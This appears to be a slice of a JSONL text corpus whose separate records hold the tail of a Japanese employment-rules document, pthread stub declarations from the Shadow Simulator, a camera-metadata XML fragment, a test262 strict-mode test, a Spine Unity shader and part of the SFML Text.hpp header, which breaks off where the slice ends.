    \n2. 慶弔休暇は、暦日で計算し、休日を含む。\n3. 慶弔休暇は、連続した日程で取得しなければならない。\n4. 慶弔休暇の取得期間のうち、所定労働日に限っては、有給とし、出勤率算定の際は通常の勤務をしたものとみなす。\n5. 本人が結婚する場合に対しての慶弔休暇は、1回を取得の上限とする。\n\n### 第41条 産前産後の休業\n\n1. 6週間(多胎妊娠の場合は14週間)以内に出産予定の女性従業員から請求があったときは、休業させる。\n2. 産後8週間を経過していない女性従業員は、就業させない。\n3. 前項の規程にかかわらず、産後6週間を経過した女性従業員から請求があった場合は、その者について医師が支障がないと認めた業務に就かせることがある。\n4. 本条による休暇期間の賃金は無給���する。\n5. 出勤率算定の際、本条による休暇期間は通常の勤務をしたものとみなす。\n\n### 第42条 母性健康管理のための休暇等\n\n1. 妊娠中又は出産後1年を経過しない女性従業員から、所定労働時間内に、母子保健法に基づく保健指導又は健康診査を受けるために申出があったときは、次の範囲で時間内通院を認める。\n 1. 産前の場合\n * 妊娠23週まで ・・・ 4週に1回\n * 妊娠24週から35週まで ・・・ 2週に1回\n * 妊娠36週から出産まで ・・・ 1週に1回\n * 但し、医師又は助産師(以下、医師等という)がこれと異なる指示をしたときには、その指示により必要な時間\n 2. 産後(1年以内)の場合\n * 医師等の指示により必要な時間\n2. 妊娠中又は出産後1年を経過しない女性従業員から、保健指導又は健康診査に基づき勤務時間等について医師等の指導を受けた旨申出があった場合、次の措置を講ずる。\n * 妊娠中の通勤緩和措置として、通勤時の混雑を避けるよう指導された場合は、原則として1時間の勤務時間の短縮又は1時間以内の時差出勤を認める。\n3. 本条による休暇期間の賃金は無給とする。\n4. 出勤率算定の際、本条による休暇期間は通常の勤務をしたものとみなす。\n\n### 第43条 育児・介護休業、子の看護休暇等\n\n1. 小学校就学前の子を養育する従業員は、4月に始まる年度内に子供1人については5日の範囲内で、2人以上の場合は10日の範囲内で子の看護又は子に予防接種・健康診断を受けさせるために休暇を取得することができる。\n2. 家族を介護する従業員は、介護する家族1人については5日の範囲内で、2人以上の場合は10日の範囲内で家族の介護のために休暇を取得することができる。\n3. 子の看護及び家族の介護休暇の取得を希望する者は、会社に請求をしなければならない。\n4. 本条による休暇期間の賃金は無給とする。\n5. 出勤率算定の際、本条による休暇期間は通常の勤務をしたものとみなす。\n6. 育児・介護休業については、法定どおりとする。\n7. 第1項および第2項の規定に関わらず、会社が必要と認めた場合、追加で看護休暇を与える場合がある。\n\n### 第44条 育児時間\n\n1. 1歳に満たない子を養育する女性従業員から請求があったときは、休憩時間のほか1日について2回、1回について30分の育児時間を与える。\n2. 育児時間に対する賃金は無給とする。\n\n### 第45条 生理休暇\n\n1. 生理日の就業が著しく困難な女性従業員から請求があったときは、必要な期間休暇を与える。\n2. 本条による休暇期間の賃金は無給とする。\n3. 出勤率算定の際、本条による休暇期間は通常の勤務をしたものとみなす。\n\n### 第46条 公民権行使等休暇\n\n1. 従業員が、裁判員・補充裁判員・裁判員候補者となった場合、又は、選挙権及びその他公民としての権利を行使するため、あらかじめ請求があったときは、必要な期間休暇を与える。\n2. 本条による休暇期間の賃金は無給とする。\n3. 出勤率算定の際、本条による休暇期間は通常の勤務をしたものとみなす。\n\n\n## 第7章 賃金及び退職金\n\n### 第47条 賃金・賞与\n\n1. 賃金及び賞与は、別に定める賃金規程により支給するものとする。\n\n### 第48条 退職金\n\n1. 退職金は、別に定める退職金規程により支給するものとする。\n\n### 第49条 出張旅費\n\n1. 出張旅費は、別に定める出張旅費規程により支給するものとする。\n\n\n## 第8章 福利厚生\n\n### 第50条 福利厚生\n\n1. 福利厚生は、別に定める福利厚生規程により提供するものとする。\n\n\n## 第9章 懲戒\n\n### 第51条 懲戒の種類\n\n1. 懲戒の種類及び程度は、次のとおりとする。\n \n \n \n \n \n \n \n
    けん責始末書を提出させて将来を戒める。
    減給始末書を提出させて減給する。但し、減給は1回の額が平均賃金の1日分の5割を超えることはなく、又、総額が1賃金支払期における賃金総額の1割を超えることはない。
    出勤停止始末書を提出させるほか、10日間を限度として出勤を停止し、その間の賃金は支給しない。
    降職 始末書を提出させるほか、職制上の地位を免じ、又の下位等級へ降格する。
    諭旨解雇諭旨により退職届を提出させるが、これに応じない場合は解雇する。
    懲戒解雇即時解雇する。
    \n\n### 第52条 けん責、減給、出勤停止又は降職\n\n1. 従業員が次の各号の一に該当する場合は、けん責、減給、出勤停止又は降職とする。\n 1. 正当な理由なく、無断欠勤3日以上に及ぶとき\n 2. 正当な理由なく、しばしば欠勤、遅刻、早退など勤務を怠ったとき\n 3. 過失により会社に損害を与えたとき\n 4. 素行不良で会社内の秩序又は風紀を乱したとき\n 5. 第5条の服務規律に違反し、その事案が軽微なとき\n 6. 無届の方法により通勤していることが判明したとき\n 7. この他本規則に違反し、又は前各号に準ずる不都合な行為があったとき\n\n### 第53条 諭旨解雇又は懲戒解雇\n\n1. 従業員が次の各号の一に該当した場合は、諭旨解雇又は懲戒解雇とする。懲戒解雇の場合において、労働基準監督署長の認定を受けた時は、労働基準法第20条に規程する予告手当は支給しない。但し、平素の勤務態度その他の情状によっては、普通解雇又は前条の処分とすることがある。\n 1. 重要な経歴を詐称して雇用されたとき\n 2. 正当な理由なく、無断欠勤が14日以上に及び、出勤の催促に応じなかったとき\n 3. 正当な理由なく、無断でしばしば遅刻、早退又は欠勤を繰り返し、数回にわたって注意を受けても改めなかったとき\n 4. 正当な理由なく、配転命令等の重要な職務命令に従わず、職場秩序を乱したとき\n 5. 正当な理由なく、しばしば業務上の指示・命令に従わなかったとき\n 6. 故意又は重大な過失により会社に重大な損害を与えたとき\n 7. 刑法その他刑罰法規の各規程に違反する行為を行い、その犯罪事実が明らかとなったとき(当該行為が軽微な違反である場合を除く)\n 8. 無届の方法により通勤し、事故を起こしたとき\n 9. 兼業により会社の運営に重大な影響が生じている、又は無届の兼業を行っていることが判明したとき\n 10. 素行不良で著しく会社内の秩序又は風紀を乱したとき\n 11. 数回にわたり懲戒を受けたにもかかわらず、なお、勤務態度等に関し、改善の見込みがないと認められたとき\n 12. セクシュアルハラスメント、パワーハラスメント又はその他ハラスメント行為によって、他の従業員に著しく不快な思いを抱かせ、円滑な職務執行を妨げ、又は就業環境を著しく害したとき\n 13. 職務上の地位を利用して私利を図り、又は取引先等により不当な金品を受け、もしくは求め、又は供応を受けたとき\n 14. 私生活上の非違行為や会社に対する誹謗中傷等によって会社の名誉信用を傷つけ、業務に重大な悪影響を及ぼすような行為があったとき\n 15. 会社の事業に関する虚偽の報道等により会社の信用を傷つける行為をしたとき\n 16. 第5条の服務規律に違反し、その事案が重大なとき\n 17. 第6条の営業秘密・個人情報の管理規則に違反し、その事案が重大なとき\n 18. 第58条の健康管理上の個人情報の管理規則に違反し、その事案が重大なとき\n 19. 賃金及び手当金等を不正に受給したとき\n 20. その他前各号に準ずる程度の不適切な行為があったとき\n2. 前項の規程による従業員の懲戒解雇に際し、従業員から請求があった場合は、懲戒解雇の理由を記載した文書を交付する。\n\n### 第54条 損害賠償\n\n1. 従業員が違反行為等により会社に損害を与えた場合、会社は損害を現状に回復させるか、又は回復に必要な費用の全部もしくは一部を賠償させることがある。\n2. 当該損害賠償の責任は、退職後も免れることはできない。\n\n\n## 第10章 教育\n\n### 第55条 教育訓練\n\n1. 会社は、従業員に対し、業務に必要な知識、技能を高め、資質の向上を図るため、必要な教育訓練を行う。\n2. 従業員は、会社から教育訓練を受講するよう指示された場合には、特段の事由がない限り指示された教育訓練を受けなければならない。\n\n\n## 第11章 安全衛生及び労災補償\n\n### 第56条 遵守義務\n\n1. 会社は、従業員の安全衛生の確保及び改善を図り、快適な職場環境の形成のため必要な措置を講ずる。\n2. 従業員は、安全衛生に関する法令及び会社の指示を守り、会社と協力して労働災害の防止に努めなければならない。\n\n### 第57条 ��康診断\n\n1. 会社は、正社員に対して、採用の際及び毎年1回(深夜労働に従事する者は6か月ごとに1回)、定期健康診断を行う。\n2. 会社は週所定労働時間が20時間以上30時間未満の有期労働契約の臨時社員に対しても毎年1回の定期健康診断を行う。\n3. 従業員は、健康診断の結果に異常の所見がある場合には、再検査を受診しなければならない。\n4. 1月あたりの時間外労働が80時間を超え、疲労の蓄積が認められ又は健康上の不安を有している従業員から申出があった場合には、医師による面接指導を行う。\n5. 第1項から第4項までに定める健康診断及び面接指導の結果必要と認めるときは、一定期間の就業禁止、労働時間の短縮、配置転換その他健康保持上必要な措置を命ずることがある。\n6. 第1項及び第2項に定める定期健康診断の費用は、会社が全額を負担する。\n7. 第1項及び第2項によらず、従業員が採用前3か月以内に健康診断を実施し、その結果を証明する書類を提出した場合には、受診した項目について、採用時の健康診断を省略することができる。\n8. 会社への提出書類及び身上その他の個人情報(家族状況も含む)並びに健康診断書その他の健康情報は、次の目的のために利用する。\n * 従業員の健康管理(必要な場合には産業医等に診断、意見聴取のために提供する)\n * 会社の労務管理、賃金管理\n * 出向、転籍等のための人事管理\n9. 労働者の定期健康診断の結果、労働者から提出された診断書、産業医等からの意見書及び長時間労働者への面接指導の結果その他労働者の健康管理に関する情報は、労働者の健康管理のために利用するとともに、必要な場合には産業医等に意見聴取等のために提供するものとする。\n10. 健康診断及び長時間労働者への面接指導の実施の事務に従事した者は、その事務に従事したことによって知り得た従業員の秘密を漏らしてはならない。違反した場合、第9章に定める懲戒処分を行うことがある。\n\n\n\n### 第58条 安全衛生教育\n\n1. 従業員に対し、採用の際及び配置換え等により作業内容を変更した際に、その従事する業務に必要な安全衛生教育を行う。\n2. 従業員は、安全衛生教育を受けた事項を遵守しなければならない。\n\n### 第59条 災害補償\n\n1. 従業員が業務上の事由もしくは通勤により負傷し、疾病にかかり、又は死亡した場合、労働者災害補償保険法の定めるところにより災害補償を行う。\n\n\n\n\n## 附則\n\n* 本規則は、2014年9月10日より施行する。\n* 本規則は、2015年3月1日から改定施行する。\n* 本規則は、2018年12月5日から改定施行する。\n"} +{"text": "/*\n * The Shadow Simulator\n * See LICENSE for licensing information\n */\n\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_tryjoin_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_timedjoin_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_attr_getstack);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_attr_setstack);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_attr_setaffinity_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_attr_getaffinity_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_getattr_default_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_setattr_default_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_setschedprio);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_getname_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_setname_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_setaffinity_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_getaffinity_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutex_timedlock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutex_consistent);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutex_consistent_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutexattr_getrobust);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutexattr_getrobust_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutexattr_setrobust);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_mutexattr_setrobust_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_rwlock_timedrdlock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_rwlock_timedwrlock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_rwlockattr_getkind_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_rwlockattr_setkind_np);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_spin_init);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_spin_destroy);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_spin_lock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_spin_trylock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_spin_unlock);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrier_init);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrier_destroy);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrier_wait);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrierattr_init);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrierattr_destroy);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrierattr_getpshared);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_barrierattr_setpshared);\nPROCESS_EMU_UNSUPPORTED(int, ENOSYS, pthread_getcpuclockid);\nPROCESS_EMU_UNSUPPORTED(void, , __pthread_register_cancel);\nPROCESS_EMU_UNSUPPORTED(void, , __pthread_unregister_cancel);\nPROCESS_EMU_UNSUPPORTED(void, , __pthread_register_cancel_defer);\nPROCESS_EMU_UNSUPPORTED(void, , __pthread_unregister_cancel_restore);\nPROCESS_EMU_UNSUPPORTED(void, , __pthread_unwind_next);\n"} +{"text": "\n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n Canon PowerShot SX280 HS\n Canon Inc.\n"} +{"text": "/// Copyright (c) 2012 Ecma International. All rights reserved. \n/// Ecma International makes this code available under the terms and conditions set\n/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the \n/// \"Use Terms\"). Any redistribution of this code must retain the above \n/// copyright and this notice and otherwise comply with the Use Terms.\n/**\n * @path ch11/11.3/11.3.2/11.3.2-2-1-s.js\n * @description Strict Mode - SyntaxError is thrown if the identifier 'arguments' appear as a PostfixExpression(arguments--)\n * @onlyStrict\n */\n\n\nfunction testcase() {\n \"use strict\";\n var blah = arguments;\n try {\n eval(\"arguments--;\");\n return false;\n } catch (e) {\n return e instanceof SyntaxError && blah === arguments;\n }\n }\nrunTestCase(testcase);\n"} +{"text": "// Spine/Skeleton Tint Black\n// - Two color tint\n// - UV2 and UV3 as Black Tint color.\n// - Final black tint is (UV black data and _Black/\"Black Point\")\n// - unlit\n// - Premultiplied alpha blending (optional straight alpha input)\n// - No depth, no backface culling, no fog.\n\nShader \"Spine/Skeleton Tint Black\" {\n\tProperties {\n\t\t_Color (\"Tint Color\", Color) = (1,1,1,1)\n\t\t_Black (\"Dark Color\", Color) = (0,0,0,0)\n\t\t[NoScaleOffset] _MainTex (\"MainTex\", 2D) = \"black\" {}\n\t\t[Toggle(_STRAIGHT_ALPHA_INPUT)] _StraightAlphaInput(\"Straight Alpha Texture\", Int) = 0\n\t\t_Cutoff (\"Shadow alpha cutoff\", Range(0,1)) = 0.1\n\t\t[Toggle(_DARK_COLOR_ALPHA_ADDITIVE)] _DarkColorAlphaAdditive(\"Additive DarkColor.A\", Int) = 0\n\t\t[HideInInspector] _StencilRef(\"Stencil Reference\", Float) = 1.0\n\t\t[HideInInspector][Enum(UnityEngine.Rendering.CompareFunction)] _StencilComp(\"Stencil Comparison\", Float) = 8 // Set to Always as default\n\n\t\t// Outline properties are drawn via custom editor.\n\t\t[HideInInspector] _OutlineWidth(\"Outline Width\", Range(0,8)) = 3.0\n\t\t[HideInInspector] _OutlineColor(\"Outline Color\", Color) = (1,1,0,1)\n\t\t[HideInInspector] _OutlineReferenceTexWidth(\"Reference Texture Width\", Int) = 1024\n\t\t[HideInInspector] _ThresholdEnd(\"Outline Threshold\", Range(0,1)) = 0.25\n\t\t[HideInInspector] _OutlineSmoothness(\"Outline Smoothness\", Range(0,1)) = 1.0\n\t\t[HideInInspector][MaterialToggle(_USE8NEIGHBOURHOOD_ON)] _Use8Neighbourhood(\"Sample 8 Neighbours\", Float) = 1\n\t\t[HideInInspector] _OutlineMipLevel(\"Outline Mip Level\", Range(0,3)) = 0\n\t}\n\n\tSubShader {\n\t\tTags { \"Queue\"=\"Transparent\" \"IgnoreProjector\"=\"True\" \"RenderType\"=\"Transparent\" }\n\t\tLOD 100\n\n\t\tFog { Mode Off }\n\t\tCull Off\n\t\tZWrite Off\n\t\tBlend One OneMinusSrcAlpha\n\t\tLighting Off\n\n\t\tStencil {\n\t\t\tRef[_StencilRef]\n\t\t\tComp[_StencilComp]\n\t\t\tPass Keep\n\t\t}\n\n\t\tPass {\n\t\t\tName \"Normal\"\n\n\t\t\tCGPROGRAM\n\t\t\t#pragma shader_feature _ _STRAIGHT_ALPHA_INPUT\n\t\t\t#pragma shader_feature _ _DARK_COLOR_ALPHA_ADDITIVE\n\t\t\t#pragma vertex vert\n\t\t\t#pragma fragment frag\n\t\t\t#include \"UnityCG.cginc\"\n\t\t\tsampler2D _MainTex;\n\t\t\tfloat4 _Color;\n\t\t\tfloat4 _Black;\n\n\t\t\tstruct VertexInput {\n\t\t\t\tfloat4 vertex : POSITION;\n\t\t\t\tfloat2 uv : TEXCOORD0;\n\t\t\t\tfloat2 uv1 : TEXCOORD1;\n\t\t\t\tfloat2 uv2 : TEXCOORD2;\n\t\t\t\tfloat4 vertexColor : COLOR;\n\t\t\t};\n\n\t\t\tstruct VertexOutput {\n\t\t\t\tfloat4 pos : SV_POSITION;\n\t\t\t\tfloat2 uv : TEXCOORD0;\n\t\t\t\tfloat3 darkColor : TEXCOORD1;\n\t\t\t\tfloat4 vertexColor : COLOR;\n\t\t\t};\n\n\t\t\tVertexOutput vert (VertexInput v) {\n\t\t\t\tVertexOutput o;\n\t\t\t\to.pos = UnityObjectToClipPos(v.vertex); // Upgrade NOTE: replaced 'mul(UNITY_MATRIX_MVP,*)' with 'UnityObjectToClipPos(*)'\n\t\t\t\to.uv = v.uv;\n\t\t\t\to.vertexColor = v.vertexColor * _Color;\n\t\t\t\to.darkColor = float3(v.uv1.r, v.uv1.g, v.uv2.r);\n\t\t\t\treturn o;\n\t\t\t}\n\n\t\t\t#include \"CGIncludes/Spine-Skeleton-Tint-Common.cginc\"\n\n\t\t\tfloat4 frag (VertexOutput i) : SV_Target {\n\t\t\t\tfloat4 texColor = tex2D(_MainTex, i.uv);\n\t\t\t\treturn fragTintedColor(texColor, _Black.rgb + i.darkColor, i.vertexColor, _Black.a);\n\t\t\t}\n\t\t\tENDCG\n\t\t}\n\n\t\tPass {\n\t\t\tName \"Caster\"\n\t\t\tTags { \"LightMode\"=\"ShadowCaster\" }\n\t\t\tOffset 1, 1\n\n\t\t\tZWrite On\n\t\t\tZTest LEqual\n\n\t\t\tCGPROGRAM\n\t\t\t#pragma vertex vert\n\t\t\t#pragma fragment frag\n\t\t\t#pragma multi_compile_shadowcaster\n\t\t\t#pragma fragmentoption ARB_precision_hint_fastest\n\t\t\t#include \"UnityCG.cginc\"\n\t\t\tsampler2D _MainTex;\n\t\t\tfixed _Cutoff;\n\n\t\t\tstruct v2f {\n\t\t\t\tV2F_SHADOW_CASTER;\n\t\t\t\tfloat4 uvAndAlpha : TEXCOORD1;\n\t\t\t};\n\n\t\t\tv2f vert (appdata_base v, float4 vertexColor : COLOR) {\n\t\t\t\tv2f o;\n\t\t\t\tTRANSFER_SHADOW_CASTER(o)\n\t\t\t\to.uvAndAlpha = v.texcoord;\n\t\t\t\to.uvAndAlpha.a = vertexColor.a;\n\t\t\t\treturn o;\n\t\t\t}\n\n\t\t\tfloat4 frag (v2f i) : SV_Target {\n\t\t\t\tfixed4 texcol = tex2D(_MainTex, i.uvAndAlpha.xy);\n\t\t\t\tclip(texcol.a * i.uvAndAlpha.a - _Cutoff);\n\t\t\t\tSHADOW_CASTER_FRAGMENT(i)\n\t\t\t}\n\t\t\tENDCG\n\t\t}\n\t}\n\tCustomEditor \"SpineShaderWithOutlineGUI\"\n}\n"} +{"text": "////////////////////////////////////////////////////////////\n//\n// SFML - Simple and Fast Multimedia Library\n// Copyright (C) 2007-2019 Laurent Gomila (laurent@sfml-dev.org)\n//\n// This software is provided 'as-is', without any express or implied warranty.\n// In no event will the authors be held liable for any damages arising from the use of this software.\n//\n// Permission is granted to anyone to use this software for any purpose,\n// including commercial applications, and to alter it and redistribute it freely,\n// subject to the following restrictions:\n//\n// 1. The origin of this software must not be misrepresented;\n// you must not claim that you wrote the original software.\n// If you use this software in a product, an acknowledgment\n// in the product documentation would be appreciated but is not required.\n//\n// 2. Altered source versions must be plainly marked as such,\n// and must not be misrepresented as being the original software.\n//\n// 3. This notice may not be removed or altered from any source distribution.\n//\n////////////////////////////////////////////////////////////\n\n#ifndef SFML_TEXT_HPP\n#define SFML_TEXT_HPP\n\n////////////////////////////////////////////////////////////\n// Headers\n////////////////////////////////////////////////////////////\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n\nnamespace sf\n{\n////////////////////////////////////////////////////////////\n/// \\brief Graphical text that can be drawn to a render target\n///\n////////////////////////////////////////////////////////////\nclass SFML_GRAPHICS_API Text : public Drawable, public Transformable\n{\npublic:\n\n ////////////////////////////////////////////////////////////\n /// \\brief Enumeration of the string drawing styles\n ///\n ////////////////////////////////////////////////////////////\n enum Style\n {\n Regular = 0, //!< Regular characters, no style\n Bold = 1 << 0, //!< Bold characters\n Italic = 1 << 1, //!< Italic characters\n Underlined = 1 << 2, //!< Underlined characters\n StrikeThrough = 1 << 3 //!< Strike through characters\n };\n\n ////////////////////////////////////////////////////////////\n /// \\brief Default constructor\n ///\n /// Creates an empty text.\n ///\n ////////////////////////////////////////////////////////////\n Text();\n\n ////////////////////////////////////////////////////////////\n /// \\brief Construct the text from a string, font and size\n ///\n /// Note that if the used font is a bitmap font, it is not\n /// scalable, thus not all requested sizes will be available\n /// to use. This needs to be taken into consideration when\n /// setting the character size. If you need to display text\n /// of a certain size, make sure the corresponding bitmap\n /// font that supports that size is used.\n ///\n /// \\param string Text assigned to the string\n /// \\param font Font used to draw the string\n /// \\param characterSize Base size of characters, in pixels\n ///\n ////////////////////////////////////////////////////////////\n Text(const String& string, const Font& font, unsigned int characterSize = 30);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the text's string\n ///\n /// The \\a string argument is a sf::String, which can\n /// automatically be constructed from standard string types.\n /// So, the following calls are all valid:\n /// \\code\n /// text.setString(\"hello\");\n /// text.setString(L\"hello\");\n /// text.setString(std::string(\"hello\"));\n /// text.setString(std::wstring(L\"hello\"));\n /// \\endcode\n /// A text's string is empty by default.\n ///\n /// \\param string New string\n ///\n /// \\see getString\n ///\n ////////////////////////////////////////////////////////////\n void setString(const String& string);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the text's font\n ///\n /// The \\a font argument refers to a font that must\n /// exist as long as the text uses it. Indeed, the text\n /// doesn't store its own copy of the font, but rather keeps\n /// a pointer to the one that you passed to this function.\n /// If the font is destroyed and the text tries to\n /// use it, the behavior is undefined.\n ///\n /// \\param font New font\n ///\n /// \\see getFont\n ///\n ////////////////////////////////////////////////////////////\n void setFont(const Font& font);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the character size\n ///\n /// The default size is 30.\n ///\n /// Note that if the used font is a bitmap font, it is not\n /// scalable, thus not all requested sizes will be available\n /// to use. This needs to be taken into consideration when\n /// setting the character size. If you need to display text\n /// of a certain size, make sure the corresponding bitmap\n /// font that supports that size is used.\n ///\n /// \\param size New character size, in pixels\n ///\n /// \\see getCharacterSize\n ///\n ////////////////////////////////////////////////////////////\n void setCharacterSize(unsigned int size);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the line spacing factor\n ///\n /// The default spacing between lines is defined by the font.\n /// This method enables you to set a factor for the spacing\n /// between lines. By default the line spacing factor is 1.\n ///\n /// \\param spacingFactor New line spacing factor\n ///\n /// \\see getLineSpacing\n ///\n ////////////////////////////////////////////////////////////\n void setLineSpacing(float spacingFactor);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the letter spacing factor\n ///\n /// The default spacing between letters is defined by the font.\n /// This factor doesn't directly apply to the existing\n /// spacing between each character, it rather adds a fixed\n /// space between them which is calculated from the font\n /// metrics and the character size.\n /// Note that factors below 1 (including negative numbers) bring\n /// characters closer to each other.\n /// By default the letter spacing factor is 1.\n ///\n /// \\param spacingFactor New letter spacing factor\n ///\n /// \\see getLetterSpacing\n ///\n ////////////////////////////////////////////////////////////\n void setLetterSpacing(float spacingFactor);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the text's style\n ///\n /// You can pass a combination of one or more styles, for\n /// example sf::Text::Bold | sf::Text::Italic.\n /// The default style is sf::Text::Regular.\n ///\n /// \\param style New style\n ///\n /// \\see getStyle\n ///\n ////////////////////////////////////////////////////////////\n void setStyle(Uint32 style);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the fill color of the text\n ///\n /// By default, the text's fill color is opaque white.\n /// Setting the fill color to a transparent color with an outline\n /// will cause the outline to be displayed in the fill area of the text.\n ///\n /// \\param color New fill color of the text\n ///\n /// \\see getFillColor\n ///\n /// \\deprecated There is now fill and outline colors instead\n /// of a single global color.\n /// Use setFillColor() or setOutlineColor() instead.\n ///\n ////////////////////////////////////////////////////////////\n SFML_DEPRECATED void setColor(const Color& color);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the fill color of the text\n ///\n /// By default, the text's fill color is opaque white.\n /// Setting the fill color to a transparent color with an outline\n /// will cause the outline to be displayed in the fill area of the text.\n ///\n /// \\param color New fill color of the text\n ///\n /// \\see getFillColor\n ///\n ////////////////////////////////////////////////////////////\n void setFillColor(const Color& color);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the outline color of the text\n ///\n /// By default, the text's outline color is opaque black.\n ///\n /// \\param color New outline color of the text\n ///\n /// \\see getOutlineColor\n ///\n ////////////////////////////////////////////////////////////\n void setOutlineColor(const Color& color);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Set the thickness of the text's outline\n ///\n /// By default, the outline thickness is 0.\n ///\n /// Be aware that using a negative value for the outline\n /// thickness will cause distorted rendering.\n ///\n /// \\param thickness New outline thickness, in pixels\n ///\n /// \\see getOutlineThickness\n ///\n ////////////////////////////////////////////////////////////\n void setOutlineThickness(float thickness);\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the text's string\n ///\n /// The returned string is a sf::String, which can automatically\n /// be converted to standard string types. So, the following\n /// lines of code are all valid:\n /// \\code\n /// sf::String s1 = text.getString();\n /// std::string s2 = text.getString();\n /// std::wstring s3 = text.getString();\n /// \\endcode\n ///\n /// \\return Text's string\n ///\n /// \\see setString\n ///\n ////////////////////////////////////////////////////////////\n const String& getString() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the text's font\n ///\n /// If the text has no font attached, a NULL pointer is returned.\n /// The returned pointer is const, which means that you\n /// cannot modify the font when you get it from this function.\n ///\n /// \\return Pointer to the text's font\n ///\n /// \\see setFont\n ///\n ////////////////////////////////////////////////////////////\n const Font* getFont() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the character size\n ///\n /// \\return Size of the characters, in pixels\n ///\n /// \\see setCharacterSize\n ///\n ////////////////////////////////////////////////////////////\n unsigned int getCharacterSize() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the size of the letter spacing factor\n ///\n /// \\return Size of the letter spacing factor\n ///\n /// \\see setLetterSpacing\n ///\n ////////////////////////////////////////////////////////////\n float getLetterSpacing() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the size of the line spacing factor\n ///\n /// \\return Size of the line spacing factor\n ///\n /// \\see setLineSpacing\n ///\n ////////////////////////////////////////////////////////////\n float getLineSpacing() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the text's style\n ///\n /// \\return Text's style\n ///\n /// \\see setStyle\n ///\n ////////////////////////////////////////////////////////////\n Uint32 getStyle() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the fill color of the text\n ///\n /// \\return Fill color of the text\n ///\n /// \\see setFillColor\n ///\n /// \\deprecated There is now fill and outline colors instead\n /// of a single global color.\n /// Use getFillColor() or getOutlineColor() instead.\n ///\n ////////////////////////////////////////////////////////////\n SFML_DEPRECATED const Color& getColor() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the fill color of the text\n ///\n /// \\return Fill color of the text\n ///\n /// \\see setFillColor\n ///\n ////////////////////////////////////////////////////////////\n const Color& getFillColor() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the outline color of the text\n ///\n /// \\return Outline color of the text\n ///\n /// \\see setOutlineColor\n ///\n ////////////////////////////////////////////////////////////\n const Color& getOutlineColor() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Get the outline thickness of the text\n ///\n /// \\return Outline thickness of the text, in pixels\n ///\n /// \\see setOutlineThickness\n ///\n ////////////////////////////////////////////////////////////\n float getOutlineThickness() const;\n\n ////////////////////////////////////////////////////////////\n /// \\brief Return the position of the \\a index-th character\n ///\n /// This function computes the visual position of a character\n 